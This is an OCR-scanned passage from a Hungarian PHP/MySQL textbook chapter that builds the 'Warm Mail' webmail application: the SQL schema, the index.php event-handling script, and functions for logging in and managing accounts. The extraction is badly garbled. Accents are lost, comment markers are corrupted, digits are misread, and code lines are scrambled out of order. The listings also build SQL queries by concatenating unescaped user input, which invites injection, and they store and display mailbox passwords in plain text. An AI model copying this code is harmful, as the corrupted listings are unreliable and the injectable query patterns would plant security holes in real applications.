Webalap levelezs::olgltats ltrehozsa

453

29

29.1 bra: A Warm Maii alkalmazs fellete postafik- s zenetszint funkcikat nyjt afe/hasznlknak.

Az brbl ltszik,hogy elszr bejelentkezsre krjk fel a felhasznlt,majd vlas::tsi lehetsget adunk nelci. j posta fikot hozhat ltre,vagy kivlaszthatja az ppen hasznlni kivnt,mr meglv filgt. Megtekintheti bejv zeneteit - vla szolhat rjuk,tovbbthatja s trlheti a::okat -,illetve j zenetet kldhet. Lehetsget adunk a felhasznlknak arra,hogy egy adott ::enet fejlct teljes rszleteiben megtekintsk. A fejlcben tall hat rszletes adatok rengeteg informcit kzlhetnek az zenetrl. Lthatjuk,hogy melyik gprl rkezett a levl - ami lci vlan alkalmas a levlszemt (spam) lenyomozsra. Kiderl, hogy melyik gp tovbbtotta a levelet,s mikor rte el az egyes hos::tokat - amibl megllapthat, hogy kit okolharunk a ksve rkezett levlrt. Amennyiben a kld levelezalkalmazsa opcionlis informcikat is megad a fejlcben,akkor akr azt is megtudhatjuk,hogy milyen levelezklienst hasznl a kld. Ez a projekt az elz ketttl kiss eltr alkalmazsarchitektrt hasznl. Ahelyett,hogy az egyes modulokat tbb kd alkotn,a projekt egyeden hosszabb kdbl (index. php) ll, ami gy mkdik, mintha egy grafikus kezelfellet program esemnyhurokja lenne. Az oldal brmely gombjra kattintva az index. php fjlhoz jutunk,azonban minden esetben ms paramtert adunk t a kdnak. A paramtertl fggen eltr fggvnyeket hvunk meg. hogy megjelentsk a felhas::nl s2: mra a kvnt tartalmat. A fggvnyeket szoks szerint fggvnyknyvtrakba helyezzk. Az ilyen architektra kivlan alkalmas az ehhez hasonl !cis alkalmazsokhoz. Elssorban esemnyverelt alkalmazsok ho:: megfelel,ahol a felhasznli mveletek vltjk Ici a mkdst. Egyeden esemnykezel hasznlata ugyanakkor nem alkal mas nagyobb architektrkhoz vagy projektekhez, amelyeken egy egsz csapat fejleszt dolgozik. A Warm Maii projektet alkot fjlokat a 29.1 tblzat sorolja fel.
29.1 tblzat: A Warm Maiilevelezalkalmazsban hasznlt fjlok Nv
index.php beillesztett_fuggvenyek.php adat_ellenor::o_fuggvenyek.php

Tpus

Lers

Alkalmazs Fggvnyek Fggvnyek Fggvnyek Fggvnyek Fggvnyek Fggvnyek

A teljes alkalmazst futtat,f kd Az alkalmazsba beillesztett fjlok gyjtemnye A felhasznlk ltal bevitt adatokat ellenr:: fggvnyek gyjtemnye A levelezes adatbzishoz kapcsoldsra has::nlt fggvnyek gyjtemnye A levelezshez kapcsold,postafikok megnyitsra,le velek olvassra stb. has::nlhat fggvnyek gyjtemnye A HTML kimenetet elllt fggvnyek gyjtemnye A felhasznlk hitelestsre has::nlt fggvnyek gyj temnye

adatbazis

fuggvenyek.php

levelezo_fuggvenyek.php

klmeneti fuggvenyek.php felhasznaloi hitelesites fuggvenyek.php

454

29.fezet

Nv
adatbazis letrehozasa.sql

Tpus

Lers

SQL

A levelezes adatbzist s egy felhasznlt ltrehoz SQLkd

Vizsgljuk meg most magt az alkalmazst!

29

Az adatbzis ltrehozsa
A Warm Maii alkalmazs adatbzisa viszonylag egyszer, mivel igazbl egyetlen e-mailt sem trol. Trolni kell benne viszont a rendszer felhasznlit. Minden felhasznl esetn az albbi mezket kell szerepeltetni az adatbzisban:
felhasznaloi nev j elszo

-A felhasznl ltal a Warm Maii alkalmazshoz vlasztott felhasznli nv.

-A felhasznl ltal a Warm Maii alkalmazshoz vlasztott jelsz. -A felhasznl ltal vlasztott e-mail cm, amely a rendszerbl kldtt levelek Felad mezjben megje -A felhasznl neve, amit az ltala kldtt levelek feladjaknt szeretne megjelenteni.

email_eim

lenik.
felado_neve

Ezen tlmenen minden olyan postafikot el kell trolnunk, amit a felhasznlk a rendszernk segtsgvel el kvnnak rni. Minden postafikhoz az albbi adatokat kell feljegyezni:
felhasznaloi_nev szerver port-

-A Warm Maii felhasznl, akihez a postafik tartozik.

-A gp, amin a postafik tallhat; pldul localhost, mail.tangledweb.com.au vagy brmilyen ms domain.

A port, amelyhez a postafik hasznlata rdekben csatlakozni kell. POP3 kiszolglk esetn ltalban a 110-es, -A kiszolglhoz val csatlakozshoz hasznlt protokoll, POP3 vagy IMAP. A levelezkiszolglhoz val csatlakozsra hasznlt felhasznli nv. A levelezkiszolglhoz val csatlakozsra hasznlt jelsz.

IMAP kiszolglk esetn pedig a 143-as.


tipus tavoli_ felhasz nalo

tavoli_je lsz o

fiok_azonosi to-

A postafikok azonostsra hasznlt egyedi kulcs.

Az alkalmazs adatbzist a 29.1 pldakdban lv SQLkd futtatsval hozhatjuk ltre. 29.1 pldakd: ada tb azis_letrehozasa. sql -A levelezes adatbzist ltrehoz SQL kd
CREATE DATABASE levelezes;

USE levelezes;

CREATE TABLE

felhasznalek

felhasznaloi_nev CHAR(l6) jelsze CHAR(40) NOT NULL,

NOT NULL PRIMARY KEY,

email_cim CHAR(l00)

NOT NULL, NOT NULL

felado neve CHAR(l00) )


;

CREATE TABLE fiokok

felhasznaloi nev CHAR(l6) szerver CHAR(l00) port INT NOT NULL, tipus CHAR(4) NOT NULL,

NOT NULL,

NOT NULL,

tavoli felhasznala CHAR(SO) tavoli jelsze CHAR(SO)

NOT NULL,

NOT NULL,

fiok azonosite INT UNSIGNED NOT NULL AUTO INCREMENT PRIMARY KEY );

Webalap levelezszolgltats ltrehozsa

455

GRANT SELECT, ON levelezes.*


TO

INSERT,

UPDATE,

DELETE 'jelszo';

levelezes@localhost IDENTIFIED

BY

Ne felejtsk elfuttatni a fenti SQL kdot az albbi utasts begpelsvel:


mysql -u root -p
<

adatbaz1s_letrehozasa.sql

A futtatshoz meg kell adni root jelszavunkat. Az adatbazis_letrehozasa. sql s az adatbazis_fuggvenyek.php kdbanfuttatsuk eltt meg kell vltoztami a levelezes felhasznl jelszavt. Ehhez az alkalmazshoz nem hozunk ltre felhasznli regisztrcit s rendszergazdai adminisztrcit. Ha szlesebb krben kvnjuk hasznlni a programot, akkor magunknak kell megvalstani ezeket a funkcikat, de ha csak mi fogjuk hasz nlni, akkor elg. ha sajt adatainkat szrjuk be az adatbzisba. A letlthet mellkletek 2 9_fejezet mappjban tallhat
feltoltes. sql kd ehhez knl sablont, gy sajt adatainkat beszrva s a kdot futtatva bellthatjuk sajt magunkat fel

29

hasznlnak.

A kd architektrjnak vizsglata
Mr emltettk, hogy a Warm Maii alkalmazs egyetlen kddal szablyozza az sszes funkcit. Ezt az index. php nev fjlt
a

29.2 pldakdban lthatjuk. A kd ugyan elg hossz, de rszenknt fogunk vgigmenni rajta.

29.2 pldakd: index.php -A Warm Maiilevelezrendszer gerince


<?php

ll Ez a fjl a Warm Mail alkalmazs kzponti rsze. ll Lnyegben llapotgpknt mkdik,


s megjeleniti a felhasznlknak

ll az ltaluk vlasztott mvelet eredmnyt.


//*** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ** * * * * * * * * * * *************

ll l. rsz: elfeldolgozs ll Az oldal fejlcnek elkldse eltt dolgozzuk fel, ll s dntsk el,
amit kell, milyen adatokat jelentsnk meg az oldal fejlcn!

//**** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ****************************

include ('beillesztett_fuggvenyek.php'); session_start();

ll rvid vltoznevek ltrehozsa


$felhasznaloi_nev
=

$_POST['felhasznaloi_nev'];

$jelszo = $_POST['jelszo']; $muvelet = $_REQUEST['muvelet']; $fiok = $_REQUEST['fiok']; $uzenetiD = $_GET['uzenetiD']; $cimzett = $ POST['cimzett']; $masolatot_kap
=

$ POST['masolatot_kap'];

$targy = $ POST['targy']; $uzenet $ POST['uzenet'];

$gombok = array();

ll fzzk hozz ehhez a sztringhez, ll ha brmit feldolgoztunk a HTTP fejlc elkldse eltt!
Sallapot
' '

ll a be- s kijelentkezsi krseket minden mst megelzen kell feldolgozni


if ($felhasznaloi_nev

l l

$jelszo)

456

29. fejezet

if(bejelentkezes($felhasznalol nev,

$jelszo)) lOOpx\">Sikeres bejelentkezs.</p>";

Sallapot .= "<p style=\"padding-bottom:

S_SESSION['hitelesitett_felhasznalo'l = $felhasznaloi_nev; if(fiokok_szama($ SESSION['hitelesitett felhasznalo'l)==l) $fiokok =fiok lista lekerese($ SESSION['hitelesitett felhasznalo'l); $ SESSION['kivalasztott_fiok'l
=

$fiokok[O l;

else

{
"<p style=\"padding-bottom: lOOpx\">Sajnos nem sikerlt

29

Sallapot

belptetni a megadott felhasznli nvvel s jelszval.</p>";

if($muvelet

==

'kijelentkezes')

session destroy(); unset($muvelet); S_SESSION=array();

//a fejlc megrajzolsa eltt fel kell dolgozni a fik kivlasztsa,


//trlse vagy trolsa mveletet switch ($muvelet) case 'fiok-torlese': $fiok);

fiok torlese($_SESSION['hitelesitett_felhasznalo'l, break;

case 'beallitasok-tarolasa': fiok_bealli tasok_tarolasa ($ SESSION['hitelesi tett felhasznalo'l ,


_

$ POST);

break;

case 'fiok-kivalasztasa':

ll ha ltez fikot vlasztott ki,


if(($fiok)
&&

mentsk el munkamenet-vltozknt! $fiok)))

(fiok_letezik($ SESSION['hitelesitett felhasznalo'l,

$ SESSION[ 'kivalasztott_fiok'l = $fiok;

break;

ll az eszkzsoron lev gombok belltsa


$gombok[Ol $gombok[ll $gombok[2l 'postafiok-megtekintese'; 'uj-uzenet'; 'fiok-beallitasa';

ll csak bejelentkezs utn jelentsUk meg a kijelentkezs gombot!


if(hitelesitett felhasznalo_ellenorzese()) $gombok[4l
=

'kijelentkezes';

//***************************************************************************** ll 2. rsz:
fejlcek

ll Az aktulis mveletnek megfelel HTML fejlcek s mensv elkldse //*****************************************************************************


if($muvelet)

ll az alkalmazs nevt,

illetve az oldal vagy mvelet lerst

Webalap levelezszolgltats ltrehozsa

457

ll tartalmaz fejlc megjelenitse


html fejlec_letrehozasa($_SESSION['hitelesitett felhasznalo'], muvelet formazasa($muvelet), else "Warm Mail - ". $ SESSION['kivalasztott_fiok']);

{
"Warm Mail",

ll csak az alkalmazs nevt tartalmaz fejlc megjelenitse


html fejlec_letrehozasa($_SESSION['hitelesitett_felhasznalo'], $_SESSION['kivalasztott_fiok']);

eszkozsor_megjelenitese($gombok); //*****************************************************************************

l 29

ll 3. ll
A

rsz:

oldal trzse

mvelettl fggen megfelel tartalom megjelenitse //*****************************************************************************

ll a fejlc eltt meghvott fggvnyek ltal generlt szveg megjelenitse


echo $allapot;

if(!hitelesitett felhasznalo_ellenorzese()) echo "<p>Be kell jelentkeznie";

if(($muvelet)

&&

($muvelet!='kijelentkezes'))
"

echo " a ".muvelet_formazasa($muvelet) ." mvelethez

echo ".</p>"; bejelentkezesi_urlap_megjelenitese($muvelet); else (

switch ($muvelet)

ll j fik ltrehozsa,

vagy fik hozzadsa vagy trlse esetn

ll jelentsk meg a fik belltsa oldalt!


case 'beallitasok-tarolasa':

case 'fiok-beallitasa':

case 'fiok-torlese': fiok_beallitas_megjelenitese($ SESSION['hitelesitett felhasznalo']); break;

case 'uzenet-kuldese': if(uzenet kuldese($cimzett, $masolatot kap, $targy, $uzenet))

echo "<p style=\"padding-bottom: else echo "<p style=\"padding-bottom:

lOOpx\">zenet elkldve.</p>";

lOOpx\">Nem sikerlt elkldeni az zenetet.</p>";

break;

case 'torles': uzenet torlese($ SESSION['hitelesitett_felhasznalo'], $_SESSION['kivalasztott_fiok'], $uzenetiD);

//szndkosan nincs 'break' - a kvetkez esettel folytatjuk

case 'fiok-kivalasztasa':

case 'postafiok-megtekintese':

458

29.fezet

ll ha a postafikot vagy a postafik megtekintst vlasztjuk, ll postafik megjelenitse


lista_megjelenitese($_SESSION['hitelesitett_felhasznalo'), $ SESSION['kivalasztott_fiok')); break;

case 'fejlecek-megjelenitese': case 'fejlecek-elrejtese':

29

case 'uzenet-megtekintese':

ll ha kivlasztottunk a listbl egy zenetet, ll akkor tltsk be az zenetet!

vagy egy zenetet nznk,

ll a fejlcek elrejtse vagy megjelenitse lehetsget vlasztjuk,


$teljesfejlecek = ($muvelet == 'fejlecek-megjelenitese'); uzenet_megjelenitese($_SESSION['hitelesitett_felhasznalo'), $_SESSION['kivalasztott_fiok' J , $uzenetiD, break; $teljesfejlecek);

case 'valasz-mindenkinek':

ll a msolatot kap sor bellitsa a korbbi,


if (! $imap)

msolatot kap sor alapjn

$imap = postafiok_megnytasa($_SESSION['hitelesltett felhasznalo'], $ SESSION['kivalasztott_fiok'));

if($imap) $fejlec imap_header($imap, $uzenetiD);

if($fejlec->valasz eim) $cimzett else $fejlec->valasz eim;

{
$fejlec->felado_cime;

$cimzett

$masolatot kap $targy = "Re:

$fejlec->masolatot kap_c1me;

".$fejlec->targy; $uzenetiD)));

$tartalom = idezojel hozzaadasa(stripslashes(imap_body($imap, imap_close($imap);

uj uzenet urlap_megjelenitese($ SESSION['hitelesitett felhasznalo'), $cimzett, $masolatot kap, $targy, $tartalom);

break; case 'valasz':

ll vlaszeimknt a levlfejlcben elkldtt eim hasznlata, ll vagy annak hinyban a felad cime
if( '$imap) $imap
=

postafiok_megnyitasa($ SESSION['hitelesltett_felhasznalo'), $ SESSION['kivalasztott_fiok']);

if($imap) $fejlee imap_header($imap, $uzenet!D);

Webalap levelezszolgltats ltrehozsa

459

lf($fejlec->valasz eim) $cmzett else ( $fejlec->felado_cime; $fejlec->valasz_cim;

$cmzett

$targy = "Re:

".$fejlec->targy; $uzenetiD)));

$tartalom = idezojel_hozzaadasa(stripslashes(imap_body($imap, imap_close($imap);

uj_uzenet_urlap_megjelenitese($_SESSION['hitelesitett_felhasznalo'l, $cmzett, $masolatot kap, $targy, $tartalom);

29

break;

case 'tovabbitas':

ll zenet belltsa az aktulis levl idzett tartalmaknt


if (! $imap) $imap = postafiok_megnyitasa($_SESSION['hitelestett felhasznalo'l, $ SESSION['kivalasztott_fiok'l );

if($imap) $fejlee imap_header($imap, $uzenetiD); $uzenetiD)));

$tartalom = idezojel_hozzaadasa(stripslashes(imap_body($imap, $targy = "Fwd: ".$fejlec->targy; imap close($imap);

uj_uzenet_urlap_megjelenitese($_SESSION['hitelesitett_felhasznalo'l, $cmzett, $masolatot_kap, $targy, $tartalom);

break;

case 'uj-uzenet': uj_uzenet_urlap_megjelenitese($_SESSION['hltelesltett_felhasznalo'l, $cmzett, $masolatot_kap, $targy, $tartalom);

break;

//***************************************************************************** ll 4.
rsz: lblc

//*****************************************************************************
html lablec letrehozasa(); ?>

Az index.php kd esemnykezel megkzeltssel dolgozik. Tudja, hogy milyen fggvnyeket kell

az

egyes esemnyek

bekvetkezsekor meghvni. Ezeket

az

esemnyeket ebben az esetben

az

vltja ki, hogy a felhasznl az oldal klnb-

z gombjaira kattint, ezekkel a kattintsokkal pedig lnyegben kivlaszt egy mveletet. A gombok tbbsgt a gomb_
megjelenitese () fggvny lltja el, de rlapok klds gombja esetn az urlap_gomb_megjelenitese() fggvnyt

hasznljuk. Mindkt fggvny a kimeneti_fuggvenyek.php knyvtrban tallhat, s


index.php?muvelet=kijelentkezes rlap URL-jeire ugrik.

az

460

29. fejezet

Az index.php meghvsakor a muvelet vltoz rtke hatrozza meg az aktivland esemnykezelt. A kd az albbi ngy f rszbl ll: l. Nmi elkszt munkra van szksg, mieltt elkldjk a bngsznek az oldal fejlct; pldul elindtjuk a munka menetet, elfeldolgozst vgznk a felhasznl ltal kivlasztott mvelethez, illetve eldntjk, hogyan kell egyltaln kinznik a fejlceknek. 2. 3. Feldolgozzuk s elkldjk a felhasznl ltal kivlasztott mveletnek megfelel fejlceket s mensort. A kivlasztott mvelet alapjn eldntjk, hogy a kd melyik trzst kell vgrehajtani. A klnbz mveletek klnb z fggvnyhvsokat vltanak ki.

29

4. Elkldjk az oldal lblct. Ha belenznk az index. php kdba, lthatjuk, hogy a ngy szakasz megjegyzsekkel lerr egymstl elvlasztva. Ahhoz, hogy a kd minden sort megrtsk, menjnk vgig rajta az oldal minden egyes mvelett tnylegesen kiprblval

Be s kijelentkezs
Amikor egy felhasznl betlti az index. php oldalt, a 29.2 brn mutatott kimenetet ltja.

29.2 bra: A Warm Maii alkalmazs bejelentkezsi fellete felhasznli nevet s jelszt kr. Az alkalmazs alaprtelmezsben a bejelentkezsi kpernyt jelenti meg. Mivel a $muvelet mg nincsen kivlasztva, s nincsenek mg bejelentkezsi adatok, a PHP elszr a kvetkez kdot futtatja le:
include ('beillesztett fuggvenyek.php'); session_start();

Ezek a sorok elindtjk a $hitelesitett_felhasznalo s a $kivalasztott_fiok munkamenet- (session) vltoz nyomon kvetst lehetv tev munkamenetet. (E kt vltoz t ksbb hozzuk majd ltre.) Mint az eddigi sszes alkalmazsban, itt is ltrehozzuk a rvid vltozneveket. A PHP gyorstalpal cm l. fejezet ta ezt az sszes, rlaphoz ktd kdban megtettk, gy a muvelet vltoz kivtelvel szt sem rdemelne az egsz. Arrl fggen, hogy az alkalmazs klnbz rszeiben honnan szrmazik, ez a vltoz lehet GET s lehet POST tpus. Ezrt a
$_REQUEST tmbbl kell kinyernnk. Ugyangy kell eljrnunk a fiok vltozval is, mert ltalban ugyan GET, a fik trlse

kor azonban POST mdszerrel rjk el. A testre szabott felhasznli felletet egy tmb segtsgvel mentjk el, ezzel szablyozzuk az eszkzsvon megjelen gom bokat. Az albbi kdsorral ltrehozunk egy res tmbt:
$gombok = array();

Ezt kveten meghatrozzuk az oldalon megjelenteni kivnt gombokat:


$gombok[O l $gombok[l] 'postafiok-megtekintese'; = 'uj-uzenet';

$gombok[2] = 'fiok-bealltasa';

Ha ksbb a felhasznl rendszergazdaknt jelentkezik be, tovbbi gombokat adunk ehhez a tmbhz. Ami a fejlcet illeti, egyszer vanlia sznt ksztnk:
html fejlee letrehozasa($_SESSION['hitelesitett_felhasznalo'], $ SESSION['kivalasztott_fiok']); "Warm Mail",

eszkozsav_megjelenitese($gombok);

Webalap levelezszolgltats ltrehozsa

461

A fenti kd az oldal cmt s a fejlcet, illetve a gombokbl ll eszkzsvot jelenti meg rszletesebben nem foglalkozunk velk. Most kvetkezik a kd trzse:
if(!hitelesitett_felhasznalo_ellenorzese()) echo "<p>Be kell jelentkeznie";

(29.2 bra). A hasznlt fggvnyeket

a kimeneti_ fuggvenyek. php fggvnyknyvtr tartalmazza, de mivel vgeredmnyk egyrtelmen ltszik az brn,

if(($muvelet)

&&

($muvelet!='kijelentkezes'))

echo " a ".muvelet formazasa($muvelet)." mvelethez ";

29

echo ".</p>"; bejelentkezesi_urlap_megjelenitese($muvelet);

A hitelesitett_felhasznalo_ellenorzese() fggvny a felhasznaloi_hitelesites_fuggvenyek. php knyvtrbl szrmazik. A korbbi projektekben is hasznltunk hasonl kdot; ellenrzi, vajon a felhasznl bejelentkezett-e. Amennyiben - a pldhoz hasonlan - mg nem tette ezt meg, a 29.2 brn lthat bejelentkezsi felletet jelentjk meg sz mra. Az rlapot a kimeneti_fuggvenyek.php knyvtrban tallhat bejelentkezesi_urlap_megjelenitese () fggvny lliga el. ltni. Ha a felhasznl megfelelen tlttte ki az rlapot, s a "Bejelentkezs" gombra kattint, a 29.3 brn lv kimenetet fogja

-., .

. . '

.: .

'

8i

29.3 bra: A jelhasznl

sikeres bejelentkezse utn kezdheti az alkalmazst hasznlni.

A kd futtatsa sorn klnbz kdrszeket aktivl unk. A bejelentkezsi rlap kt mezvel rendelkezik:
$felhasznalo i_nev s $jelszo Amennyiben a felhasznl kitlttte ezeket, az elfeldolgoz kd kvetkez rsze fog .

lefutni:
if ($felhasznaloi nev

ll

$jelszo)

{
$jelszo))

if(bejelentkezes($felhasznaloi_nev,

$allapot .= "<p style=\"padding-bottom:

lOOpx\">Sikeres bejelentkezs.</p>";

$_SESSION['hitelesitett felhasznalo'l = $felhasznaloi_nev; if(fiokok _szama( $_SESSION ['hitelesitett_felhasznalo' l)==l)

$fiokok = fiok_lista lekerese($_SESSION['hitelesitett felhasznala'l ); $_SESSION['kivalasztott_fiok'l = $fiokok[Ol;

else

{
"<p style=\"padding-bottom: lOOpx\">Sajnos nem sikerlt

$allapot

belptetni a megadott felhasznli nvvel s jelszval.</p>";

A fenti sorokbl kiderl, hogy a bejelentkezes () fggvnyt hvja meg, ami a 27., illetve a 28. fejezetben hasznlt, azo nos nev fggvnyhez hasonl. Ha rninden rendben van, a felhasznli nevet a hitelesitett_felhasznala nev munka menet-vltozban jegyezzk fel. A bejelentkezs elrt belltott gombok mell egy jabb kerl, ami lehetv teszi a bejelentkezett felhasznlnak a kijelent kezst:

462

29.fezet

if(hitelesitett_felhasznalo_ellenorzese()) $gombok[4]
=

'kijelentkezes';

A ..Kijelentkezs" gombot a 29.3 brn lthaguk. A kd fejlcet elllt rszvel jra megjelentjk a fejlcet s a gombokat.A kd trzsben a korbban belltott llapot zenetet jelentjk meg:
echo $allapot;

Most mr csak a lblcet kell megjelenteni, majd vrhatjuk a felhasznl kvetkez lpst.

29

Felhasznli fikok belltsa


Amikor a felhasznl elszr hasznlja a Warm Mail levelezrendszert, ltre kell hoznia a felhasznli fikjt. Ha a ,.Fik bel ltsa" gombra kattint, a muvelet vltoz rtkt fiok-beallitasa-ra lltja, s jra meghvja a 29.4 brn lthat fellet jelenik meg a felhasznl bngszjben.
az

index. php fjlt. Ekkor

29.4 bra: A felhasznlnak

be kell lltania felhasznli fikjt ahhoz, hogy elolvashassa leveleit.

Trjnk vissza a 29.2 pldakdban szerepl kdhoz! A $muvelet vltoz mostani rtke matt a korbbitl eltren visel kedik a kd.Valamennyire a megjelen fejlc is ms lesz:
html feJlec_letrehozasa($_SESSION['hitelesitett_felhasznalo'], muvelet_formazasa( $muvelet) , "Warm Mail ". $ SESSION ['kivalasztott_fiok' l ) ;

Ennl is fontosabb, hogy az oldal trzsnek tartalma is ms lesz:


case 'beallitasok-tarolasa': case 'fiok-beallitasa': case 'fiok-torlese': fiok_beallitas_megjelenitese($ break; SESSION['hitelesitett felhasznalo']);

Ez a tipikus minta: minden parancs ms fggvnyt hv meg.Jelen esetben a fiok_ beallit as_megjelenit ese() fgg vnyt hvjuk meg. Ennek kdjt a 29.3 pldakdban olvashaguk.
29.3 pldakd: A kimeneti_fuggvenyek. php

knyvtr fiok_ beallitas _megjelenitese () fggvnye- A felhaszn

lifik adatait bekr s megjelent fggvny


function fiok_beallitas_megjelenitese($hitelesitett_felhasznalo) //res 'j fik' rlap megjelenitse

fiok_ urlap_megjeleni tese($hitelesitett_felhasznalo); $lista $fiokok


=

fiokok_lekerese($hitelesitett_felhasznalo); sizeof($lista);

ll minden eltrolt fik megjelenitse


foreach($lista as $kulcs
=>

$fiok)

ll rlap megjelenitse az sszes fik adatval. ll figyeljk meg,


hogy HTML-ben kldjk el a fikok jelszavait!

Webalap levelezszolgltats ltrehozsa

463

ll ez nem igazn j tlet


fiok_urlap_megjelenitese($hitelesitett_felhasznalo, $fiok['fiok_azonosito'l, $fiok['szerver'l,$fiok['tavoli_felhasznalo'l, $fiok ['tavoli j elszo' l , $fiok['tipus' l , $fiok['port'l);

Amikor meghvjuk a fiok_beallitas_megj elenitese ( ) fggvnyt, j felhasznli fik felvitelre alkalmas, res rlapot jelent meg, amit a felhasznl meglv fikjainak adatait tartalmaz, szerkeszthet rlapok kvetnek. A fiok_urlap_
megj elenitese() fggvny a 29.4 brn lthat rlapot hozza ltre. Pldnkban ezt krflekppen hasznljuk: paramterek

29

nlkl egy res rlapot, a paramterek tadsa esetn pedig meglv rekordot jelent meg. A fggvny a kimeneti_
fuggvenyek.php knyvtrban helyezkedik el; egyszer HTML kimenetet llt el, ezrt a rszleteibe most nem megynk bele.

A meglv felhasznli fikokat a levelezo_fuggvenyek. php knyvtr fiokok_lekerese() fggvnye keresi vissza; ennek kdjt a 29.4 pldakdban ltjuk. 29.4 pldakd: A levelezo_fuggvenyek. php knyvtr fiokok_lekerese() fggvnye- Az adottfelhasznlfikjainak sszes adatt visszakeresfggvny
function fiokok_lekerese($hitelesitett_felhasznalo) $lista = array(); if($kapcsolat=adatbazishoz_kapcsolodas()) $lekerdezes = "SELECT $eredmeny
*

FROM fiokok
=

WHERE felhasznaloi_nev
=

'".$hitelesitett_felhasznalo."'";

$kapcsolat->query($lekerdezes);

if($eredmeny)

while($beallitasok = $eredmeny->fetch_assoc()) array_push($lista, $beallitasok); else

return false;

return $lista;

Mint lthatjuk, a fiokok _lekerese() fggvny kapcsoldik az adatbzishoz, visszakeresi az adott felhasznl fikjait, majd tmbknt visszaaclja azokat.

j felhasznli fik ltrehozsa


Ha a felhasznl kitlti a fik rlapot, s a.Vltoztatsok mentse" gombra kattint, a beallitasok-tarolasa mveletet aktivlja. Nzzk meg az index.php fjlban az ezt az esemnyt kezel kdot! Az elfeldolgozsi rszben az albbi kdot futtatjuk:
case 'beallitasok-tarolasa': fiok_beallitasok_tarolasa($_SESSION['hitelesitett felhasznalo'l, $POST); break;

A fiok_ bealli ta sok_ tarolasa () fggvny eltrolja az adatbzisban az j felhasznli fik adatait. A fggvny kdjt a 29.5 pldakd mutatja. 29.5 pldakd: A levelezo_fuggvenyek. php knnyvtr fiok_beallitasok_tarolasa () fggnye-Afelhasznl j fikjt az adatbzisban e/trol fggvny
function fiok_beallitasok_tarolasa($hitelesitett felhasznalo, $beallitasok) if(!kitoltott($beallitasok))

464

29.fezet

echo "<p>Minden mez6t ki kell tlteni. Krjk, return false; else { if($beallitasok['fiok')>0)

prblja jra!</p>";

$lekerdezes = "UPDATE fiokok SET szerver = '".$beallitasok[szerver) ."', port = ".$beallitasok[port) .", tavoli felhasznala = tavoli jelsza =
'n .

tipus = '".$beallitasok[tipus)."',

'".$beallitasok[tavoli felhasznalal ."',


n'

$beallitasok[tavoli j elszol.
'

29
else { $lekerdezes

WHERE fiok _azonos ito = '". $bealli tasak [fiok) ."

AND felhasznaloi nev = '".$hitelesitett felhasznalo."'"; "INSERT INTO fiokok VALUES ('".$hitelesitett felhasznalo."', '".$beallitasok[szerver)."', '".$beallitasok[tipus) ."', '".$beallitasok[port)."', NULL)"; '".$beallitasok[tavol1 felhasznalal ."',

'".$beallitasok[tavoli_jelszo)."',

if($kapcsolat=adatbazishoz kapcsolodas()) if ($eredmeny) return true; else

$eredmeny=$kapcsolat->query($lekerdezes);

return false; else

echo "<p>Nem sikerlt eltrolni a vltoztatsokat.</p>"; return false;

A fenti sorokbl kiderl, hogy a fiok_beallitasok_tarolasa ( ) fggvnyerr belli kt vlasztsi lehetsg li fik adatait. Az adatok eitraisa utn az index. php kd trzshez trnk vissza:
case 'beallitasok-tarolasa': case 'fiok-beallitasa': case 'fiok-torlese': fiok_beallitas_megjelenitese($ SESSION['hitelesitett_felhasznalo')); break;

az

j fel

hasznli fik ltrehozsa, illetve a meglv fik mdostsa. A fggvny a megfelel lekrdezst lefi.matva menti el a felhaszn

Ezt kveten a fiok_beallitas_megjelenitese() fggvny meghvsval jra megjelentjk a felhasznli fik adata it. Ezttal mr az jonnan ltrehozort fikot is lthatjuk itt.

Meglv felhasznli fik mdostsa


A meglv fikok mdostsnak folyamata igen hasonl.A felhasznl megvltoztatja a fik belltsait, majd a,.Vltoztatsok mentse" gombra kattint. Ezzel ismt a beallitasok-tarolasa mveletet indtja el, ami ez alkalommal nem j adatokat szr be, hanem mdostja a meglvket.

Felhasznli fik trlse


Ha a felhasznl trlni szereme egy fikot, a fikok listja alatt megjelen,.Fik trls' gombra kell kattintania. Ezzel a fiok
torlese mveletet vltja ki.

Az index.php kd elfeldolgoz rszben az albbi sorokat futtatjuk:

Webalap levelezszolgltats ltrehozsa

465

case 'fiok-torlese': fiok-torlese($_SESSION['hitelesitett_felhasznalo'l, break; $fiok);

Ez a kd a fiok-torlese() fggvnyt hvja meg. A fggvny kdjt a 29.6 pldakd mutatja. A fik trlst a fejlc eltt kell kezelni, mert a hasznlni kvnt fik kvlasztsa a fejlcben trtnik. A fejlc megjelentse eltt ezrt mdostani kell
a

fikok listjt.

29.6 pldakd:

A levelezo_fuggvenyek.php knyvtr fiok_torlese ()fggvnye- Adott fik adatait trlfggvny


$fiok_azonosito)

function fiok_torlese($hitelesitett_felhasznalo,

29

ll a felhasznl egyik fikjnak trlse az adatbzisbl


$lekerdezes = "DELETE FROM fiokok WHERE fiok_azonosito = '".$fiok_azonosito."' AND felhasznaloi nev = '".$hitelesitett_felhasznalo."'"; if($kapcsolat=adatbazishoz_kapcsolodas())

$eredmeny = $kapcsolat->query($lekerdezes); return $eredmeny;

Azt kveten, hogy a vgrehajts visszakerl az index. php fjlhoz, a kd trzse az albbi kdot futtatja:
case 'beallitasok-tarolasa': case 'fiok-beallitasa': fiok_beallitas_megjelenitese($ SESSION['hitelesitett felhasznalo'l); break; case 'fiok-torlese':

Vegyk szre, hogy ez ugyanaz a kd, mint amit korbban futtattunk; ez egyszeren a felhasznli fikok listjt jelenti meg.

Levl olvassa
Miutn a felhasznl belltotta fikjt vagy fikjait, tovbblphetnk a kvetkez feladatra: kapcsolds ezekhez a fikokhoz, s a felhasznl leveleinek beolvassa.

Postafik kivlasztsa
A felhasznlnak k kell vlasztania azt a postafi[9t, amelynek a leveleit szeretn elolvasni. Az aktulisan kivlasztott fikot a $kivalasztott_fiok munkamenet-vltozban troljuk. Ha a felhasznl egyetlen fikot regisztrlt a rendszerben, akkor bejelentkezs utn automatikusan az lesz kivlasztva:
if(fiokok_szama($_SESSION['hitelesitett_felhasznalo'l) ==l) $_SESSION[ 'kivalasztott_fiok'l $fiokok[Ol;

$fiokok = fiok_lista_lekerese($_SESSION['hitelesitett felhasznalo'l);


=

